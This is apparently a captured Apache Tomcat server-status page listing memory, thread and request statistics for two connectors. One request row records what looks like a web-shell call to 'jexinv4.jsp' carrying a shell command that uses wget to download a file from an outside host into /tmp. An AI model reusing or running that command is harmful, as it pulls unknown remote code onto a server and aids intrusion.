Free memory: 40.09 MB Total memory: 127.50 MB Max memory: 455.00 MB
Max threads: 40 Current thread count: 5 Current thread busy: 4
Max processing time: 1744995162851 ms Processing time: 1.21788948E10 s Request count: 557 Error count: 250 Bytes received: 0.00 MB Bytes sent: 0.43 MB
Stage | Time | B Sent | B Recv | Client | VHost | Request |
---|---|---|---|---|---|---|
P | ? | ? | ? | ? | ? | ? |
K | 11844769860 ms | ? | ? | 10.10.21.54 | ? | ? |
P | ? | ? | ? | ? | ? | ? |
P | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive
Max threads: 250 Current thread count: 17 Current thread busy: 2
Max processing time: 175099 ms Processing time: 523792.53 s Request count: 27390 Error count: 5027 Bytes received: 6.77 MB Bytes sent: 103.89 MB
Stage | Time | B Sent | B Recv | Client | VHost | Request |
---|---|---|---|---|---|---|
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 2 ms | 0 KB | 0 KB | 3.21.28.69 | 119.2.118.103 | GET /status HTTP/1.1 |
S | 5751 ms | 0 KB | 0 KB | 152.89.255.21 | 119.2.118.103 | GET /jexinv4/jexinv4.jsp?ppp=wget%20-nc%20http://main.dsn.ovh/dns/pwer%20-q%20-P%20/tmp/ HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive